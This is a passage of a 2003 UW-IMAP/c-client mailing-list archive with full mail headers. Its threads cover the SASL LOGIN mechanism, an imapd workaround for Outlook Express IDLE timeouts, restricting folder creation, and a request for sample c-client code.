08:22:06 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGM6ZI012452 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 25 Feb 2003 08:22:06 -0800 Message-Id: Date: Tue, 25 Feb 2003 08:22:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: auth_log module In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Feb 2003, Harrie Hazewinkel wrote: > Can someone tell me where I can find an internetdraft (or RFC) > can find for the auth_log module of the c-client?? There is no such document. > A description on how to use it would be fine too. I can send you a specification, but why do you need it? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Feb 25 08:26:18 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 08:26:18 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGQHTk010009 for ; Tue, 25 Feb 2003 08:26:17 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGQAVH009548 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 08:26:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PGPKSR090634; Tue, 25 Feb 2003 08:25:20 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGP0A8039050 for ; Tue, 25 Feb 2003 08:25:00 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGOsPJ005805 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Feb 2003 08:24:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGOrAa020507; Tue, 25 Feb 2003 08:24:53 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGOrFl006412 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 25 Feb 2003 08:24:53 -0800 Message-Id: Date: Tue, 25 Feb 2003 08:24:53 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: outlook express and idle issues In-Reply-To: <200302251519.HAA01373@sheridan.sibble.com> References: <200302251519.HAA01373@sheridan.sibble.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 25 Feb 2003, Harondel J. Sibble wrote: > Note: the MICROSOFT_BRAIN_DAMAGE option is removed as of imap-2002, in favor > of a better way to work around IDLE problems. > > What is the better way to deal with this problem? I am re-reading the docs > and the makefiles but haven't seen anything thus far. It's completely internal to the IMAP server (imapd). At the 29th minute (one minute before the timeout), IDLE sends a fake EXISTS for an imaginary message. When the client responds with a DONE, IDLE then sends an equally fake EXPUNGE to revote that imaginary message then terminates the IDLE. The client, finding nothing to do, will do a new IDLE. This avoids the client just going offline when the 30 minute timeout expires. The client is supposed to do this without the kludge in the previous paragraph, but Outlook Express doesn't. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue Feb 25 08:57:20 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 08:57:20 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGvKTk011892 for ; Tue, 25 Feb 2003 08:57:20 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PGvC2n029410 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 08:57:13 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PGuBZD014402; Tue, 25 Feb 2003 08:56:11 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGtMA8038092 for ; Tue, 25 Feb 2003 08:55:22 -0800 Received: from sheridan.sibble.com (s64-180-126-175.bc.hsia.telus.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PGtGv6011051 for ; Tue, 25 Feb 2003 08:55:17 -0800 Received: from gkar (jakar2.sibble.com [192.168.73.4]) by sheridan.sibble.com (8.9.3/8.9.3) with ESMTP id IAA02011; Tue, 25 Feb 2003 08:54:21 -0800 Message-Id: <200302251654.IAA02011@sheridan.sibble.com> Date: Tue, 25 Feb 2003 08:55:10 -0800 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: c-client@u.washington.edu Cc: mark Crispin Subject: Re: outlook express and idle issues In-Reply-To: References: <200302251519.HAA01373@sheridan.sibble.com> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 25 Feb 2003 at 8:24, Mark Crispin wrote: > This avoids the client just going offline when the 30 minute timeout > expires. The client is supposed to do this without the kludge in the > previous paragraph, but Outlook Express doesn't. Hmm, I wonder if I am experiencing some other problem then. Since upgrading the server to Imap2002, I still experience the timeouts/disconnects with OE with at least one user. From much net searching I was under the impression that that problem was caused by the number of connections OE opens to the server and the idle issue. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Tue Feb 25 10:24:41 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 10:24:41 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PIOeTk015821 for ; Tue, 25 Feb 2003 10:24:40 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PIOU2n032629 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 10:24:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PINgZD029824; Tue, 25 Feb 2003 10:23:42 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PIMwA8041336 for ; Tue, 25 Feb 2003 10:22:59 -0800 Received: from tritio.ad.ufrgs.br (tritio.cpd.ufrgs.br [143.54.34.254]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PIMow9003515 for ; Tue, 25 Feb 2003 10:22:52 -0800 Message-Id: Date: Tue, 25 Feb 2003 15:22:24 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Luiz Fernando Ewald" To: Subject: imap: How to avoid folder creation? content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=XXIIIII, Probability=25%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_01_02, __EVITE_CTYPE, __HAS_MIMEOLE" X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear list subscriber, I have installed the UW-imapd (imap-2002b) on a Solaris 8 box. At a = first approach, I decided to maintain the original unix mailbox structure (/var/mail/USER), but I = intended not allow the users to create folders in their 'home' directory. How can I achieve = this? Thanks in advance for any help. Best regards. Luiz F Ewald Network and Support Division Federal University of Rio Grande do Sul -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 25 13:42:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 13:42:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PLgVTk023867 for ; Tue, 25 Feb 2003 13:42:31 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PLgQVH021867 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 13:42:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PLfEZD005618; Tue, 25 Feb 2003 13:41:14 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLe2A8045902 for ; Tue, 25 Feb 2003 13:40:02 -0800 Received: from mid-2.inet.it (mid-2.inet.it [213.92.5.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLduv6025284 for ; Tue, 25 Feb 2003 13:39:56 -0800 Received: from [::ffff:80.117.50.210] by mid-2.inet.it via I-SMTP-4.3.5-430 id ::ffff:80.117.50.210+qgpTfq6EyF8; Tue, 25 Feb 2003 22:39:54 +0100 Message-Id: Date: Tue, 25 Feb 2003 22:42:06 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: Mark Crispin Cc: Harrie Hazewinkel , imap c-client Subject: Re: auth_log module In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report="IN_REP_TO, QUOTED_EMAIL_TEXT, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SPAM_PHRASE_01_02, __EVITE_CTYPE" On Tuesday, February 25, 2003, at 05:22 PM, Mark Crispin wrote: > On Tue, 25 Feb 2003, Harrie Hazewinkel wrote: >> Can someone tell me where I can find an internetdraft (or RFC) >> can find for the auth_log module of the c-client?? > > There is no such document. > >> A description on how to use it would be fine too. > > I can send you a specification, but why do you need it? I actually wanted to write a small test tool for this in order to check if I still could login. Could be seen as monitoring/testing. After that my pure personal interest. Harrie ------------------------------------------------------------------ Author of MOD-SNMP, enabling SNMP management of Apache HTTP server From pinedev@shivax2.cac.washington.edu Tue Feb 25 14:00:26 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 14:00:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PM0KTk024681 for ; Tue, 25 Feb 2003 14:00:20 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PM0E2n008614 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 14:00:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PLwdhN028380; Tue, 25 Feb 2003 13:58:39 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLvdA8033418 for ; Tue, 25 Feb 2003 13:57:39 -0800 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLvTw9016485 for ; Tue, 25 Feb 2003 13:57:35 -0800 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id h1PLxHP25478 for ; Tue, 25 Feb 2003 22:59:17 +0100 Message-Id: <3E5BE705.4010907@fl.priv.at> Date: Tue, 25 Feb 2003 22:58:29 +0100 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: imap: How to avoid folder creation? In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Luiz Fernando Ewald wrote: > > I have installed the UW-imapd (imap-2002b) on a Solaris 8 box. At a first approach, I decided > to maintain the original unix mailbox structure (/var/mail/USER), but I intended not allow the > users to create folders in their 'home' directory. How can I achieve this? Why if I may ask? Do you want to create another POP3 like server? -- MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Tue Feb 25 14:01:14 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 Feb 2003 14:01:14 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PM1ETk024704 for ; Tue, 25 Feb 2003 14:01:14 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PM16VH022555 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 25 Feb 2003 14:01:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1PM0NZD028334; Tue, 25 Feb 2003 14:00:23 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLxsA8014972 for ; Tue, 25 Feb 2003 13:59:54 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1PLxqPJ026492 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 25 Feb 2003 13:59:52 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PLxmGD012137; Tue, 25 Feb 2003 13:59:48 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1PLxmZI031027 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 25 Feb 2003 13:59:48 -0800 Message-Id: Date: Tue, 25 Feb 2003 13:59:48 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: auth_log module In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Here's the SASL profile for the LOGIN specification. LOGIN mechanism The mechanism name associated with the LOGIN mechanism is "LOGIN". The authorization identity is the same string as the "user name" in the traditional (non-SASL) LOGIN or USER commands; the authorization authenticator is the same string as the traditional "password". 1. Client side of authentication protocol exchange The client expects the server to issue a challenge. The client then responds with the authorization identity. The client then expects the server to issue a second challenge. The client then responds with the authorization authenticator. The contents of both challenges are ignored. This completes the client-side LOGIN authentication. 2. Server side of authentication protocol exchange The server issues a string which SHOULD be "User Name" in challenge, and receives a client response. This response is recorded as the authorization identity. The server then issues a string which SHOULD be "Password" in challenge, and receives a client response. This response is recorded as the authorization authenticator. The server must verify that the authorization authenticator permits login as the authorization identity. 3. Security layer There are no security layers in the LOGIN mechanism. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Wed Feb 26 05:01:50 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 05:01:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1QD1jTk020698 for ; Wed, 26 Feb 2003 05:01:45 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1QD1g2n032644 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 05:01:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1QD0qZD005504; Wed, 26 Feb 2003 05:00:52 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1QCxBA8043096 for ; Wed, 26 Feb 2003 04:59:11 -0800 Received: from tritio.ad.ufrgs.br (tritio.cpd.ufrgs.br [143.54.34.254]) by mxu5.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1QCx89C018119 for ; Wed, 26 Feb 2003 04:59:09 -0800 Message-Id: Date: Wed, 26 Feb 2003 09:58:41 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Luiz Fernando Ewald" To: Cc: Subject: Re: imap: How to avoid folder creation? content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-Uwash-Spam: Gauge=XXXXIIIIIIIII, Probability=49%, Report="DEAR_SOMEBODY, DEAR_SOMETHING, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_05_08, __EVITE_CTYPE, __HAS_MIMEOLE" X-Uwash-Spam: Gauge=XXXIIIIII, Probability=36%, Report="DEAR_SOMEBODY, DEAR_SOMETHING, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_05_08, __EVITE_CTYPE, __HAS_MIMEOLE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Sir, No, at all. For now, I just have no room for the user's folders in the filesystem where reside their 'home' directory. But, anyway, I would like to offer them the imap service. Meanwhile, is your question suggesting that there are no differences, with respect to behavior and performance, using the pop3 service or the imap service without the folders creation feature? I thank you for your reply and I'm looking forward for your = considerations. Regards. Luiz F Ewald Network and Support Division Federal University of Rio Grande do Sul -----Mensagem original----- De: Friedrich Lobenstock [mailto:fl@fl.priv.at] Enviada em: ter=E7a-feira, 25 de fevereiro de 2003 18:58 Para: C-Client/UW-IMAP Mailing Liste Assunto: Re: imap: How to avoid folder creation? Luiz Fernando Ewald wrote: >=20 > I have installed the UW-imapd (imap-2002b) on a Solaris 8 box. At a = first approach, I decided > to maintain the original unix mailbox structure (/var/mail/USER), but = I intended not allow the > users to create folders in their 'home' directory. How can I achieve = this? Why if I may ask? Do you want to create another POP3 like server? --=20 MfG / Regards Friedrich Lobenstock From pinedev@shivax2.cac.washington.edu Wed Feb 26 06:02:56 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 06:02:56 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1QE2tTk021608 for ; Wed, 26 Feb 2003 06:02:55 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1QE2n2n001550 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 06:02:49 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1QE21SR073716; Wed, 26 Feb 2003 06:02:01 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1QE1LA8039990 for ; Wed, 26 Feb 2003 06:01:21 -0800 Received: from www.hr.vc-graz.ac.at (www.hr.vc-graz.ac.at [193.171.240.3]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1QE1Av6021174 for ; Wed, 26 Feb 2003 06:01:17 -0800 Received: from fl.priv.at (a-107.vc-graz.ac.at [193.171.240.107]) by www.hr.vc-graz.ac.at (8.11.6/linuxconf) with ESMTP id h1QE34P31424 for ; Wed, 26 Feb 2003 15:03:04 +0100 Message-Id: <3E5CC8E8.7050900@fl.priv.at> Date: Wed, 26 Feb 2003 15:02:16 +0100 Reply-To: C-Client/UW-IMAP Mailing Liste Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Friedrich Lobenstock To: C-Client/UW-IMAP Mailing Liste Subject: Re: imap: How to avoid folder creation? In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: de, en X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Luiz Fernando Ewald wrote: >> Luiz Fernando Ewald wrote: >>>I have installed the UW-imapd (imap-2002b) on a Solaris 8 box. At a first approach, I decided >>>to maintain the original unix mailbox structure (/var/mail/USER), but I intended not allow the >>>users to create folders in their 'home' directory. How can I achieve this? >> >> >> Why if I may ask? Do you want to create another POP3 like server? > > No, at all. For now, I just have no room for the user's folders in the > filesystem where reside their 'home' directory. But, anyway, I would > like to offer them the imap service. > > Meanwhile, is your question suggesting that there are no differences, > with respect to behavior and performance, using the pop3 service or the > imap service without the folders creation feature? > > I thank you for your reply and I'm looking forward for your considerations. If the users can only have their INBOX on imap but not any other folders what do they gain from this change. Nothing in my opinion, they still have to move mails to folders on their local harddisk to sort them or whatever. So then I'd say you could stay with pop3. PS: As I've set the "reply-to" to the list I don't want to be CC'd. TIA -- MfG / Regards Friedrich Lobenstock ____________________________________________________________________ Friedrich Lobenstock FL226-RIPE Internetservices URL: http://www.fl.priv.at/ Email: fl@fl.priv.at ____________________________________________________________________ From pinedev@shivax2.cac.washington.edu Wed Feb 26 18:05:48 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 18:05:48 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R25mTk017689 for ; Wed, 26 Feb 2003 18:05:48 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.12) with ESMTP id h1R25hVH009429 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 26 Feb 2003 18:05:43 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with SMTP id h1R24lSR085778; Wed, 26 Feb 2003 18:04:47 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R21nA8038166 for ; Wed, 26 Feb 2003 18:01:49 -0800 Received: from hotmail.com (f184.law10.hotmail.com [64.4.15.184]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW03.02) with ESMTP id h1R21lls000364 for ; Wed, 26 Feb 2003 18:01:47 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 26 Feb 2003 18:01:47 -0800 Received: from 24.125.36.125 by lw10fd.law10.hotmail.msn.com with HTTP; Thu, 27 Feb 2003 02:01:47 GMT Message-Id: Date: Thu, 27 Feb 2003 02:01:47 +0000 Reply-To: tindang@hotmail.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tin Dang" To: c-client@u.washington.edu Subject: Sample code for using c-client imap Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [24.125.36.125] X-OriginalArrivalTime: 27 Feb 2003 02:01:47.0592 (UTC) FILETIME=[2F610C80:01C2DE04] X-Uwash-Spam: Gauge=XXIII, Probability=23%, Report="DEAR_SOMEBODY, RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_01_02, __EVITE_CTYPE, __RCVD_BY_HOTMAIL" X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report="DEAR_SOMEBODY, SPAM_PHRASE_01_02, __EVITE_CTYPE, __RCVD_BY_HOTMAIL" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Folks, I am new to Imap, and I am looking for sample code using c-client library to open mail box and do searching of the email list ... Is there such sample code for using c-client library ? Thanks, -------------- Tin Thanh Dang -------------- _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Feb 26 18:08:38 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 26 Feb 2003 18:08:38 -0800 (PST) 